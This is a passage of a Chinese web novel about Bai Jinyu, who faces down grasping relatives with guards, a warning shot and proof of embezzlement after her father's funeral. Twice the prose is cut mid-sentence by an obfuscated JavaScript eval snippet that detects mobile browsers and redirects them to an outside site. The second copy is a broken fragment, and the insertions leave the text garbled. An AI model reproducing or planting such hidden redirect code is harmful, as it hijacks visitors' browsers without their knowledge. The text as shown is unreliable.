白齐昌暗自咬了咬牙,脸上皮笑肉不笑地说:“我知道,你是齐盛的大女儿,照理,你还要喊我一声二叔哩。” 白瑾瑜又发了一声笑,并不接他的话,而是径自说:“我说白先生问错了人,那是有道理的。这位陈姨太,不过是连正式婚书都没有签过的姨太太,她能懂什么?她好谈,我白瑾瑜可不好谈。” 这一段话,当然是把被一声声“太太”哄得飘飘然的陈姨太打落到了地上,臊得恨不能找个地缝钻进去。与此同时,在白齐昌提出了“二叔”之后,仍然称他为“白先生”,这无疑也是下了他的面子,表示出对抗的态度。 白齐昌一时被呛得接不上话来。这沉默的片刻里,吴桂芝立马带着笑脸,试图打圆场道:“你这孩子,你二叔好歹是长辈,怎么这样讲——” 话还没有完,已然被白瑾瑜招呼婢女的声音打断:“金桂!金桂!再上一壶茶,要雪梨菊花茶!”转头冲吴桂芝提了提嘴角,“我看白太太实在爱说话,刚才已说了大半天了,当心伤了嗓子。” 吴桂芝碰了这么个大钉子,当下涨红了脸不再开口。 到这一步,气氛已然是僵持住了,白齐昌干脆也不再装,开门见山道:“好,你说我们找错了话事人,那想必大侄女你就是那个话事人了。我也就不绕弯子,我大哥走了,我是来分我该得的那一份遗产的!” 说到遗产,从一开始就缩在一边的白齐荣终于醒了似的,跟了一句,“还有我那一份!” 白瑾瑜捡了就近的单人沙发坐下,好笑似的,歪着头问:“哦?这为什么?” 吴桂芝急了,跳起来道:“这有什么为什么?这是明摆着的呀!” 旁边的白齐昌倒抬起手来制止她,正了正自己的西服领子,颇有一种自命不凡的威仪,道:“要说原因,不光因为我们是你父亲的兄弟,更要紧的,是我老白家唯有的两脉香火了。” 说着,目光轻蔑地瞥了白瑾瑜一眼,“我老爹一连生了三个儿子,我呢,自然也有儿子传承血脉。可到了你父亲这里,娶的太太不争气啊,竟没有一个男丁,这大把的银钱,哪儿有统统攥在嫁出去的女儿手里,而不分给自家香火的道理?” 这间隙,白齐荣生怕漏了他的份,赶忙插嘴道:“可不是!连我太太肚子里也一准是个男孩儿!看了好几个大夫,都是这样说!” “这是第一,这第二么——”白齐昌竖了两根指头,摇晃着,“我在卫生局并中学兼有两份职务,每月有近两百块的薪金,原本可以安安稳稳做到老,因为大哥这一走,竟都被取消撤职了。这一笔损失,总要赔付一下吧?” 说到革职,白齐昌自然是很不忿的神色,吴桂芝也在旁边插了一句嘴:“别忘了鹏儿啊!我们鹏儿,明年正是考学的时候,还得要大侄女做个担保,叫他能上北京的大学哩!” 他们活像倒豆子似的说了一筐,连陈芳藻在边上都听傻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208012|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼,白瑾瑜却是丝毫不变脸色,甚至问了句:“还有吗?” 见这三个人你看我我看你,谁也没有说出下一句,料想是没有了,便提高了音量道:“既然要求提完了,那我也就直说了,我父亲的钱,你们是一分也别想分到的。” 这句话一出,白齐昌和白齐荣当下就气愤地站起身来,他们俩俱是身形高大,很有一种力量上的胁迫感,若是普通女子,恐怕早就被吓破胆子了。 可白瑾瑜是早就做好准备的。早在他们做出起身的动势之时就抬起了右手,霎时,从客厅外冲进两个卫兵模样的人,站定在白瑾瑜的身后。每人胸前都抱着一杆乌黑锃亮的长枪,往某个卡扣上一拉,只听“咔哒”一声,那枪便上了膛。 只要用手托着转个方向,食指轻轻那么一扣,那可不是闹着玩的! 白齐昌被那两个面无表情的卫兵盯得胆寒,到底弯了膝盖,重新坐回了沙发里。再看白齐荣,早就吓得跌坐回去了。 白瑾瑜笑吟吟地接着道:“我话还没有说完,两位先生怎么就发急了?我说不给,那也是有原因的呀。” 她学着白齐昌的样子,同样竖了一根指头出来,“第一个,你先生的老爹当初能从白家带走那么多洋钱,那是签过字据的。随便你先生去哪里申诉和我父亲有干系,只消我拿出那份字据,这话可就站不住脚了。” 白齐昌本来不相信,可回想当年,自己老爹虽是抱着大洋钱回来了,可对于在北京的经历,一直是语焉不详三缄其口,兴许他签了字据,又碍于脸面不说出来,那是大有可能的。顿时锯嘴葫芦一般,憋着火气沉默着。 白瑾瑜还在往下说,“这就关系到第二点了。一来,因为我父亲过世就能丢的职务,想来也是别人冲着父亲的面子才给你的,我没问问你靠着我父亲捞到多少白得的好处,你先生倒问我要起赔偿来了,可不要笑掉别人的大牙了!” “这二来么,”她微微地眯着眼,那一种不怒自威的气势,竟然连白齐昌都被唬得一时不敢出气,“既然早就签过切结的字据,你先生怎么还敢借我父亲的名头大捞油水?我真把这事儿捅出去,这可不光是把拿过的薪金全数退回的事,你还要吃官司的!” 旁边的吴桂芝早在卫兵冲进来的时候,就吓出了一身冷汗,一直鹌鹑似的缩在一边。 白瑾瑜每说一段话,她的心肝脾肺就跟着揪紧一下,现下实在发急了,站起来尖声道:“大侄女,这是你亲叔叔,你可不能害他呀!” 白瑾瑜“砰”地狠狠拍一下桌面,带着桌上的茶杯小勺叮当一阵乱响,借着这动作,自己也站起身来。 放开了声音掷地有声道:“我不害他,等着他来害我吗!我今天就把话放在这里,这个节骨眼上,但凡谁敢动我白公馆的歪念头,我有的是法子让他有来无回!” 在吴桂芝看来,白瑾瑜横眉冷眼的样子,说是阎王也不为过了,再加上身后抱了枪的卫兵,她顿时觉得膝窝一软,浑身面条似的,又软回了沙发上。 19. 第 19 章 一直到白瑾瑜强硬地说了声“送客”,白齐昌几人的身影由管家领着,消失在小客厅门外的时候,陈姨太战战兢兢憋着的那口气才给送了出来。 不过人走了,气缓过来了,再回想那三人临走时个个是一脸记恨的样子,陈芳藻心里又害怕起来。她对着白瑾瑜,虽然时不时地露怯,但到底在一个屋檐底下住了十几年了,比不过对着外人时的那种恐惧,当下凑到她跟前埋怨道:“你刚才讲话,实在太不客气了,何必这样把人得罪死?往后未必没有要仰仗人家帮忙的时候呀!” 白瑾瑜当即冷笑了一声,反驳道:“现在是什么样的时候,他们都不仁不义,你觉得往后还会有帮忙的时候吗?还说什么仰仗?哈!” 看向陈姨太时,那目光倒好笑似的在她身上转过一圈,半讥讽道:“姨太太现在倒有气力指摘我的不是,刚刚怎么一句不吭声呢?别是欺软怕硬,觉得我是那个好拿捏的软柿子吧?” 陈芳藻的脸上一阵红一阵白,一来被她当面拆穿了自己“窝里横”,面子上很过不去。二来也是突然惊觉:她哪里是什么软柿子!看看她刚才做的事说的话,那两个扛枪的卫兵往她身后一站,说是女土匪也不为过呀! 于是锯了嘴似的闷头站在一边,再不敢多说一个字惹她不痛快。 白瑾瑜也不在意她,纵然对陈芳藻做的事有诸多看不过眼,但只要嘴巴上痛快了,别的倒也可以轻轻放过。见她没什么要说的了,便径自走开做自己的事。 上了二楼,正看见在走廊上端着东西小跑的佣人,招呼了她一声,问:“荷香,我让你办的事情,怎么样了?” 那名叫荷香的丫鬟停下脚步,反应了一瞬,恍然道:“哦,是。可是柳先生家没有人哩,我上午下午各挂了一个电话,下人都说主人不在家,等我再挂第三个,那边干脆就不接了。大小姐,不要是柳先生一家举家外出了吧?” 白瑾瑜心想,不能够。 不说从没听柳世新说过有什么家庭外出的计划,即便是外出,军务总长去世这么大的事,不说北京城,各地的小报恐怕都印了满篇,何以一个电话也不打过来呢? 她心里已然对柳世新的态度抱了不乐观的想法,面上却也不显,冲荷香笑了笑说:“没事,我知道了,你去做事吧。” 等荷香一走,那笑容瞬间疲惫地落下来,眉头却微微拢了起来。白瑾瑜站在原地思忖片刻,脚尖一转,到底还是往电话间的方向走了过去。 柳世新家里的电话,她是早就牢记于心的,过去也常常站在这里拨动号码盘,给那边挂一通电话,却没有一次是怀着现在这样复杂又沉重的心情。听着话筒里传来的盲音,倒像是等一道宣判。 心想,那边如果不接,其实反而不坏。现在还不够忙乱、不够闹心吗?等处理完家里的事,再心平气和地谈和世新的事,岂不是更好?何必在这个节骨眼上自寻烦恼? 这样想定了,刚想把电话挂断,偏偏对面接通了,一道带着点口音的中年女声问:“找哪一位?”想必是柳家请的女佣人。 既然打通了,白瑾瑜也就不再瞻前顾后,径直说道:“我姓白,想找府上柳世新少爷,不知道在不在?” 对面显然愣了几秒,下一刻,那女声重新在耳朵边炸开:“诶呀!都说了我家老爷太太不在家,少爷那就更不在了,怎么还要一遍遍地打来?”后头又跟了一句话,像是方言,白瑾瑜听不懂,但从语气看也知道不是什么好听的话。 她耐着性子又问了一句:“不知是去了哪里?什么时候回来?” 再要仔细听,那头竟直接挂断了,话筒里又是嘟嘟的一阵轻响。 白瑾瑜还有什么不明白的,不管是柳世新自己的意思还是他父母的意思,这显然是对白家的丧事持回避的态度了,故而支使佣人给自己一个钉子碰,好叫自己识趣一点,知难而退呢。 白瑾瑜下意识就想冷笑,可那一点笑刚要逸出口,心底就涌上无限的悲哀,最后,到底咬紧了嘴唇,将话筒重重扣回到电话机上,走了。 她实在是太累了,从接到坠机的噩耗,到此后对丧礼的种种安排,事无巨细,都是由她全权掌控操办。直到今天,追悼仪式的前一天,大事小事都已落定,没有什么需要忙的了,反倒生出一阵茫然。 白瑾瑜什么也不想,毋宁说直到现在,她都来不及去想些有的没的,只一心扑在白齐盛的丧礼这件头等大事上。 如今万事具备,就差明天的追悼仪式了,也许是绷紧的神经一下放松了一半,那些或者担心或者揪心的念头反倒趁虚而入,要在梦里搅得她不安宁了。 白瑾瑜睡得不安稳,虚晃的梦境里,一下是坐在书房里的父亲,把衔在嘴里的烟斗拿在手上冲他虚虚地点着,似乎就是他去重庆前的那一次谈话,白齐盛很和气,也很满意,说他为有自己这么个女儿感到自豪。 梦里的场面越清晰,那下意识的悲伤就越剧烈,白瑾瑜只觉得自己的心被一双无形的手恶狠狠地攥着,也许它攥得再紧一些,自己也就惊醒了,可偏偏就煎熬在那悲痛又未醒的边缘。 下一秒,那画面一转,又变成白齐昌并吴桂芝两张凶恶的脸,两人的嘴唇一张一合,像是在低声咒骂;随即又成了柳世新的脸,只是那脸上的神情是白瑾瑜从没见过的,轻蔑又趾高气扬,视线自上而下地睨着她,仿佛在说—— 如今,可是我把你踩在脚底下了! 白瑾瑜心头一震,急喘着气从床上坐起身来,迷糊之间看向窗外,只见素洁的月光自窗帘的缝隙间投射进来,在她盖着的被子上落下白惨惨的一片月色。 她怔楞地看着,重新归于这万籁俱寂的环境里,意识到梦中的一切都是假的,坏的是,好的也是,突然心中大恸,痛哭起来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208013|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白瑾瑜自认做起事情游刃有余,不过是迄今为止没有遇上过真正的大事,真等到大事临头,一样是殚精竭虑,手忙脚乱。她嘴上不肯服软,心里却不得不承认:不必说蒋伯伯了,就是蒋牧城,没有他从旁相帮,不知要出多少乱子,碰多少壁。 如果你知道这些,爸爸,你还会觉得我更胜过男子,并以我为骄傲吗? 想到这里,仿佛白齐盛四平八稳的声音又响起在耳边,但她知道不能够了,她永远不能再听见父亲的声音。 白瑾瑜捂着浸满眼泪的脸,极力也抑制不住呜呜的哭声,这在她是从未有过的脆弱狼狈之相。 她不住地自责又自问:我做得好吗?是否令人满意?有没有哪一处没留意到的纰漏会招人非议?最要紧的是,父亲...... 一想到这个称谓,白瑾瑜又是一阵揪心,他已经走了,自己还能为他做点什么呢?唯有这一场丧礼,若是还办坏了,自己怎么对得住他?恐怕从此以后,都过不去心里这一道坎。 这样想着,从那自责自问的背后,又生出浑厚的责任之感:是了,是了,事情还没办完,现在不是哭的时候。 白瑾瑜深吸了口气,拿袖子将脸上的泪痕擦干,又缓缓将气吐出。兴许是哭过一场的缘故,积压的情绪得以发泄,反倒觉得整个人轻了不少,头脑也不再是混淘淘的了。 她又做了一次深深的吐息,想着明天就是正式的丧礼,要养足精神,不能出错,缓了缓神后再次躺下。 她已做好了极力去入睡的准备,不料轻易就落入了睡神之网。迷迷糊糊之间,似乎又坠入梦境,这一次,竟是白齐盛就站在眼前,他抬手按了按自己的肩膀,那意思,仿佛要将千斤的重担交托与她,可神情却是很释然,很满意的,倒像是一种答复—— 你做了所有你该做的,你也做得很好,父亲为你感到骄傲。 白瑾瑜的一颗心剧烈地跳动着,刚想拉住梦里的身影再说点什么,忽而两眼就睁开了,晃眼的阳光由窗外投向室内。一夜过去,天光已然大亮。 她当下起床梳洗,走出房间时,恰巧对面的房门也被人从里头打开。 几天不见,白瑾璎整个人都瘦了一圈,黑色的旗袍套在那细瘦的身影上,更显出一种空落落的寂寥感。但尽管面色不好,她总算是能够下床了,比起她母亲去世那时悲痛欲绝的情状,已然好过太多。 在看到自己后,淡得几乎看不出血色的嘴唇冲她抿出一个虚弱又愧疚的微笑,似乎在内疚自己无用,光让她一个人受累。 可白瑾瑜很明白,谁都有自己的心魔,谁都在翻越各自的刀山。 她硬是把自己从第二场死别带来的悲痛中拽了出来,怎么能说是无用? 白瑾瑜走上去拉过白瑾璎的手,那么细那么轻的一只握在手里,紧了一紧,说:“走吧,我们送父亲最后一程。” 20. 第 20 章 因是前军务部总长的丧礼,来的客人便十之八九是他生前的同僚,其中不乏身居要职的政府官员,更有蒋兆明这样一位副总理的候选人特来致悼词,故而现场的警卫安保布置,那是不成问题的。 正如白瑾瑜所料,白齐昌果然也觍着脸来参加追悼仪式了,却没有带吴桂芝和白齐荣。他也嫌这二人跌他的面子,说话不着调就算了,见了枪杆子金戒子就大呼小叫,忒没见过世面! 大事当前,还是得靠他。 自然了,他敢再探白公馆这个“龙潭虎穴”,不能没有自己的目的。 一来他自认是白齐盛的亲兄弟,很有资格排在受邀之列。二来,想想他大哥是怎样的人物?平日结交的,还能是无足轻重的小角色吗?料想那么多的大人物汇聚一堂,要搭上几句话,攀一攀关系,那还不是轻而易举的事? 然而真等到了白公馆,却发现浑然不是那么一回事。 门里门外随处都看得见卫兵,站得树干子一般直,有些在胸前抱着长枪,有些则在腰间佩着手枪,那架势可不是昨天区区两个卫兵可比的了,这就先把他的胆气削去了大半。 再看那一个个打扮得体的来客,谁都是很悲切似的木着一张脸,不说根本没人愿意搭理他这么个来历不明的小人物,白齐昌刚想上去攀谈一二呢,因他扯了个大大的笑脸,还受到不少目光上的谴责。 并且他也留意到了,自从他进了公馆的大门,便有两个佩手枪的卫兵不远不近地跟着他,恐怕这也是白瑾瑜的手段,这是要将他监视到底呀!但凡他有什么妄动,身上就得添两个窟窿眼! 至此,已然知道这条攀权富贵的路子,是走不通了。 于是照旧把那怨恨的心思投注在白瑾瑜的身上,于白公馆偌大的门厅里搜寻她的身影。 白齐盛去世了,她便是主持这场丧礼的主人翁,要找她是不难的。不多时,果然在门厅靠近小客厅的一侧看见了自己那大侄女儿,和一个青年男子并排站在两张长桌后头。 那里大约是个核实接待的所在,只见但凡来客,都先往那边去。递一个白信封,由那男子在纸上做一笔记录,再由白瑾瑜递去一枚黑袖章,若是位太太或小姐,则递去一朵黑纱结。 寻常人看见这场景,无非觉得白瑾瑜很有主人翁的意识,这样的亲力亲为,无论对丧礼本身还是对客人,都显示出很重视的意味。 白齐昌的念头却总往偏了转,心想,我也是打听了才知道,这白瑾瑜也有二十四五的年纪了,这个年纪的女子,哪儿有不成家的?即便没成家,亲事也一定是说上了!现下看她和那男子互相配合,时不时还商量一句的样子,恐怕就是她未来的夫家了! 于是倒着重打量起那男子。 先前他是坐着的,还看不出什么,眼下正巧他站起来,竟是很高大的身形!再看那张冷脸,白齐昌已然觉得他不好招惹了,冷不丁那刀子似的眼睛就往自己这里扫过来,白齐昌心里一抖,吓得立刻转身避了一避。 恼恨道,原本想着她一家子柔弱女眷,自己胡搅蛮缠一下,总能捞着一点好处,想不到她还有个靠山哩!搞得不好,自己空手而回不说,被修理一顿,那也是难说! 阴差阳错之下,竟然惊惧横生,把那满脑子的歪魔邪道给震慑住了。居然老老实实地猫在一众人群之中,也不闹事也不叫嚣,真就参与到了丧礼之中。 宾客们被领到了一楼新搭建的灵堂处,那里摆着奠字并花圈,正中的位置,则是一只小小的骨灰盒子。见此情形,人群中已经逸出了几声低泣与叹息。 这首先,就是亲属与同僚致悼词,白齐昌半点不感兴趣,在看见白瑾瑜走上前时,甚至无声做了个怪相。也好在他缩在很靠边的角落里,身边又有立柱半挡着,没人留意到他。 白齐昌掩着哈欠,做出抹泪的样子,两只眼前却偷摸着四处乱瞟。前头那黑压压的一片背影里,就那男青年的个头最高,一眼就能认出来。再看他又是站在第一排的位置,倒更坐实了白齐昌先前对他的猜测。 倏地,他瞧见那男人动了一下。原来是他旁边的小姐打了个晃,他便伸手扶住了。 扶一把就扶一把吧,可他握着人家小姐的胳膊之后,竟还不松手了!再看他偏过头的侧脸,哪儿还有什么目光如刀啊!瞧瞧那脸上的忧心关切,隔开三四排人他都看得真切,要说对这小姐没点意思,他头一个就不信! 白齐昌的精神瞬间又高涨起来,暗自揣度起他们的关系。抵不住这抓心挠肺似的好奇心,终于和边上一位妇人打听道:“前排最靠边那小姐是谁?” 那妇人古怪地瞅了他一眼,说:“白公馆的二小姐,你都不认识吗?” 白齐昌简直要在心里笑出声来!什么另有所爱,什么三角关系,还是他想浅了哩!都说首都人追求外国人那一套时髦,放得开顽得大,哈!瞧瞧这白公馆里头,可不就是大玩特玩,乱成了一团! 再说白瑾瑜,她在台上念着悼词,心里多少有点不是滋味。柳世新直到今天都没有现身,只差几天,她原本就要把这人引荐给爸爸的呀! 她站在高出一级的台阶上,心情复杂地望着眼前一众宾客,忽见里头一道颀长的身影站在靠后的位置,目光定定地落在自己所在的方向,似乎是冲她关切地一笑。是了,这也是她心情复杂又兼具惊讶的一个原因。 孟西洲会来参加丧礼,她是真没有想到的,拟定好的邀请名单里,本来也没有他的名字。是故乍见到他时,她拿袖章的动作都停顿了一下。 对方也不催促,知道她必定情绪很低落,话也说得委婉缓和:“密斯白,节哀。我虽然没有受到邀请,不过想到家里的船务公司和密斯白多有合作,这其间就受到白总长的关照,还是觉得要不请自来一趟,请不要见怪。” 他这话说得很诚恳,白瑾瑜当下就谢道:“哪里,孟先生太有心了,我不知说什么好。” 可唯其是他的有心,更反衬出别人的无心。连孟西洲这样非亲非故 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等得几乎要在沙发上睡着了,这才听见有人上楼梯的脚步声,并絮絮叨叨的说话声。他精神一震,立刻跳将起来探头张望——这一家女眷可算是回来了!他还着意看了眼其中挽着长发的二小姐,见她是一张莹白如玉的瓜子脸,有几分憔悴就有几分楚楚可怜,忍不住暗自咋舌。 在白齐昌想天想地的时候,众人显然也看到了他。 陈姨太先就拉着白瑾琪往后退了一步,躲到白瑾瑜的背后,小声地急道:“诶呀,怎么这人还在!” 白瑾璎没见过他,默默地拧了拧眉头。倒是白瑾瑜很从容不迫的样子,非但没有往后退,反倒往前踱了几步,说:“如今大事办完了,也该料理料理你先生的事了。” 陈姨太躲在后头忿忿地嘀咕:“我的大小姐!你不把他轰出去,怎么还尽往家里招呀!真是要死了,要死了!” 这话站在前头的白瑾瑜大概听不见,但被她拽在身边的白瑾琪却听得很清楚,心里对自己的母亲倒不大赞同。 其实,昨天那一场纠纷,她也算是在场人之一呢。她在看望过白瑾璎之后返回小客厅,刚好赶上这个白齐昌狮子大开口讨要补偿,那气氛实在带着杀气,她不敢往前冲,便躲在拐角后面偷听,把大姐姐招呼卫兵,到她把桌子拍得砰砰响的经过都听了个全。 心里竟油然而生一种迎敌而上的豪情! 等陈姨太回了房间,刚想问问她详情,她却一个劲儿只知道抹眼泪,口中念叨着完了完了,这下完了。那抛洒的泪珠子,俨然是把她的满腔豪情给扑灭了,也就不敢多问,只敢在心里闷闷地想:敌人都打上门了,哭顶什么用呢? 此时此刻,白瑾琪看着面前几步开外的白瑾瑜,她的背脊挺得笔直,分明撑起一段秀丽的弧线,可她却头一次觉得那背影竟是可以用“伟岸”来形容的。 好像躲在那背影之后,便是一处很安全的所在。 21. 第 21 章 随着白瑾瑜的一声“这边请”,白齐昌被单独领进了二楼的书房。 她依旧带着两个配手枪的卫兵,一个站在她身后,一个则站在门边,把守着出入书房的大门。那守门的卫兵站定后便从皮套子里取出配枪,把那弹匣子拆开又按紧,似乎是在检查趁手的程度,手法灵活得像是在变一套什么戏法,只是那响亮的两声“咔哒”声,已然具备了足够的威慑力量。 白齐昌整个人哆嗦一下,眼看离开的退路上有“重兵”把守,自己是只有前进这一条道路了。 干脆咬了咬牙,皮笑肉不笑地半拉着嘴角,话里有话道:“大侄女好威风,只是何必对我这个亲叔叔都拿枪拿炮地威吓?我到底年长你一辈,类似狐假虎威的事,也见过不少了。” 白瑾瑜像是听了一句有点意思的笑话,掀着眼皮看着他问:“这个说法倒是很新鲜,那白先生说说看,我是狐呢?还是虎呢?” 白齐昌清了清嗓子,略微挺起了胸膛道:“瞧大侄女说的,你是什么,我怎么好瞎说。不过你背后那虎嘛,我倒是窥见一二了。”他忍不住似的笑了两声,甚至揶揄一般冲白瑾瑜挤了挤眼睛,“听人家叫他蒋先生,还是海关的副总长,那势力确实不小了。我一个平头百姓,当然是惹不起,惹不起。”说罢,还虚情假意地拱了拱手。 他一个“蒋”字刚吐出来,白瑾瑜便发了声冷笑,说:“海关副总长的位置是不低,不过你也太小看我白家,还不至于要去借他的势。” 白齐昌的本意,是料定了这三人间有点子瓜葛,自己只要透露点口风,点到为止,兴许白瑾瑜出于心虚,也能破个小财封他的口。想不到对面是断然的否认,听那口气,还有点不服气又瞧不上眼的意思。 他便有些心急,说:“这放在从前,我大哥当然是最大的靠山了,不过今时不同往日呀。我也理解,我大哥一走,剩下你们这一屋子女子,不抓紧一个男人相帮,那是很不容易的......” 他兀自说得得意,以为自己料事如神,没注意白瑾瑜早就放沉了脸色,冷冷地打断他道:“白先生这一句话,可是把我和姓蒋的都踩在脚底下了,我原本只觉得你自己不成个样子,瞧不起女人,现在才知道你连男人也瞧不起。告诉你,这里可不是你们犄角旮旯的乡下,他蒋牧城要是能中‘美人计'',也坐不到今天这个位置。” 这一段话,可把白齐昌讽刺了个彻底,那面色瞬间涨红得猪肝一般,恼羞成怒地抽着气道:“他不能中你的美人计?哈!架不住你们人多势众呀!你不行还能换你妹妹上,我看他对那个二小姐,是晕陶陶得很哩!啧啧,蒋先生,我看他不该姓蒋,倒该姓齐——” 话没有说完,只听一声“砰”的巨响炸开在脚边,下一秒,他整个人便醒神一般,哆嗦不止地瘫坐到地板上。 原来白瑾瑜的一张脸已沉的滴水,再也听不下去,拉开书桌的抽屉摸出一把小手枪,往白齐昌的脚边开了一枪。 她的脸色瞧着只是冷,心里却是气得发狠了,故而那一枪开得尤其果断,即便开过了一枪,胸脯依然剧烈地起伏着。不过看白齐昌烂泥似的软在地上,半天也不见站起来,才终于有一种报了仇的痛快,心里愤怒的火焰也逐渐平息下来。 白齐昌瘫在地上,这才体味到当初自己的爷爷能抱着一包银元全须全尾地回来,那实在是不容易的!自己把要钱这一件事,也想得太简单了! 他真怕白瑾瑜心气不顺,再给自己飞一颗子弹,也不敢站起来,似乎蜷坐在地上缩小自己,那也是一种保护。结结巴巴地发着抗议:“警、警察!叫警察!这是动用私刑,草菅人命哇!这、这还有王法吗!” “好啊!”白瑾瑜同样高声地回他,“警察总署李署长的车这会儿恐怕还没开远呢,我这就叫人给他拦回来,光是你那些凭空捏造的污蔑,就能先把你关上四天!对了,再给他看看这些——” 说着,伸手拉开另一边的抽屉,摸出几份文件似的东西拍在桌上。 人说平生不做亏心事,夜半不怕鬼敲门,白齐昌显然不在此列。他先是把叫嚣咽了回去,心虚地伸长了脖子想看看是什么,随即瞥到桌面上那把手枪,又后怕地缩了回来。 白瑾瑜讽刺地哂笑一声,干脆念给他听:“白先生先前说我威风,您也是不遑多让啊。原来你在卫生局挂名了一个差事,不光每月领百来块钱的薪金,还贪墨过政府拨给当地中小学校买纱布红药水的一笔款子,足足有三千块之多,一分也不给学校留。白先生这么贪,也不怕一口吃成个胖子。” 白齐昌涨红的脸色一下又变得刷白,抖着嘴唇,半晌才哀叫着辩解:“......不、不是,那不是我......” 白瑾瑜气定神闲地一笑,伸手止住他的话,说:“自然了,要抹平那么大一笔账,必定是不少人沆瀣一气的结果。只是别人不露富呀,不像白先生财大气粗,隔天就去金器行买了一个金镯子并两枚金戒子,紧跟着又钻进香衫巷子玩到了半夜,这不显得可疑吗?哦,连你买东西的收据,我可都搜罗到了。” 接着道,“也别觉得你如今被革了职,就万事大吉了,那不能够。要是我把这一件事揭发出去,不说你要把赃款尽数补回,你这个人,也免不了被丢进监狱里反省反省——我也劝劝你,别想着找那些和你一起贪钱的上级帮忙了,有你这个替罪羊被丢出来,你说他们是高兴?还是着急?” 那简直不必去想,有一个顶缸的,还不得绞尽了脑汁把罪名一股脑地往他身上推? 白齐昌这才见识到什么叫“能耐”。他常年住在小地方上,那里的“能耐”,不过是比别人有钱一点,有权一点,买人家恭敬你奉承你,或是仗着卫生局里那点门路,拿人家的工作或店面检查做要挟。如今想想,实在是乡下人不堪入目的小把戏。 不像白瑾瑜,不过一晚上的工夫,自己去过哪里做过什么,竟都能被挖个一清二楚,这才算是手眼通天的“能耐”哇! 这世上,只有光脚的不怕穿鞋的,可偏偏白齐昌偷偷借着白齐盛的势,已然做了许久抖起来的“人物”了,家财也算存了一些,哪里能再落回到一穷二白,再加锒 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白瑾瑜状似满意地弯了弯嘴角,居高临下地问:“白先生怎么还坐在地上?地上多凉,还是白先生就喜欢凉?” 在白齐昌抖抖索索爬起来的瞬间,她的嘴角便放了下去,一秒钟也不愿意多敷衍似的,亲自扭开了书房的门把手,冲外头喊了一句:“来人!送客!” 想不到一扭开门,看见的却是靠在走廊墙壁上的白瑾璎,似乎特意等在外头似的,听见她喊送客,便站直了说:“我来送。” 白齐昌哪里还有进书房前的威风,此刻战战兢兢地缩在一边,听见这位二小姐提出送他,真有些惊疑不定。直到跟着她走了半路,也不见她有什么发难,这才敢偷看她一眼。 那张漂亮脸蛋上还带着些病容,全然不同于白瑾瑜的凛然,透着十足的温驯柔弱。尤其那平顺略淡的眉毛与微微向下的眼角,瞧着活像一朵与世无争的睡脸。 下一刻,这睡莲就扭过头对自己道:“听说白先生是从济南特意过来参加丧礼的,真有心了。” 白齐昌吓了一跳,见她说话很客气,这才按着惊慌乱跳的心脏,拿出十成十服软的姿态,试图对这位二小姐诉诉苦,道:“哪里,哪里。只是咱们这位大小姐,脾气实在太坏了呀!我一句话说的她不顺心,就敢拔了手枪对着我射!唉,亏得我和你们爸爸血脉相连,是你们亲叔叔哩——” 他原想博一点同情,想不到这位二小姐拧了拧眉头,说的却是:“白先生别乱说,我父亲哪里来的兄弟?我也从没见过你,是或不是,全凭你先生一张嘴罢了,你说是我父亲的兄弟,怎么证明?” 白齐昌愣了一愣,正是这当口,两人已经走到了白公馆的大门。白瑾璎冲旁边的听差点头示意,那听差便打开了大门,等着他们出去。 白瑾璎伸手做了个“请”的手势,白齐昌下意识便迈出了门口。回头再想分辨几句,却听这二小姐慢悠悠地说了最后一句,“可别说什么血缘关系这样让人发笑的话了。白先生不都知道吗?我爸爸可是只剩下一盒骨灰了。” 22. 第 22 章 这一天的晚饭,当然是各管各静静地吃了,何况丧礼结束后仍有不少收尾的工作,未必就能找到白瑾瑜的人。 白瑾璎在房间里喝了两碗热粥,再配一碟凉菜,就算把一顿晚饭草草地对付过去了,随后便起身去找白瑾瑜。在撵走了白齐昌之后她又出了趟门,算一算时间,再望一眼窗外擦黑的天色,心想她总该回来了。 对面的卧室门紧闭着,不见什么动静,白瑾璎便计划去书房找一找她,不料也没有人,接着往楼下走,倒在一楼的小客厅外听见说话声。走进去一瞧,白瑾瑜坐在沙发上,蒋牧城则站在不远处,身上还穿着外衣,像是才回来的样子。 大概是自己来之前,白瑾瑜正说了些道谢的话,蒋牧城对白瑾璎点了点头,接着说:“不必谢,凭家父和白伯父的关系,帮再多忙都是应当的。” 说话间,手上已经提了刚刚送上来的热茶,另倒了一杯送到白瑾璎的手里。 这一点献殷情的小伎俩,放在从前,白瑾瑜并不会过多计较,何况白瑾璎本来也是大病初愈,他这样周到地关照她,自己看着兴许还觉得挺舒心。偏偏赶在这样的时候,白齐昌那一通讽刺话还扒在耳朵边没散呢,这个举动便无端让人觉得刺眼。 白瑾瑜只觉得太阳穴突突跳得发疼,满脑子的神经,像给小孩子的两只手没轻没重地拉扯个没完似的,自己怎么揉也不见好。 本来么,蒋牧城和白瑾璎的事,就是爸爸默许的,可如今外头要看她白家的笑话呀!她怎么能允许? 爸爸走后,自己便形同于一家之主了,设若丧礼不过多久,瑾璎就和这姓蒋的走到了一起,叫别人怎么想自己?说她白瑾瑜为了攀权附贵,把妹妹卖出去了吗?这是她决不能忍受之一。 另一点,其实要归罪于单方面断开联系的柳世新。他做出这一副作壁上观的姿态,白瑾瑜也就明白了他的意思,知道这一段关系是非断绝不可了。柳世新既没有担当,亦不念旧情,由这一件事情,还不足以窥见一二吗?如有大祸临头,这样的人,是一万分靠不住的。 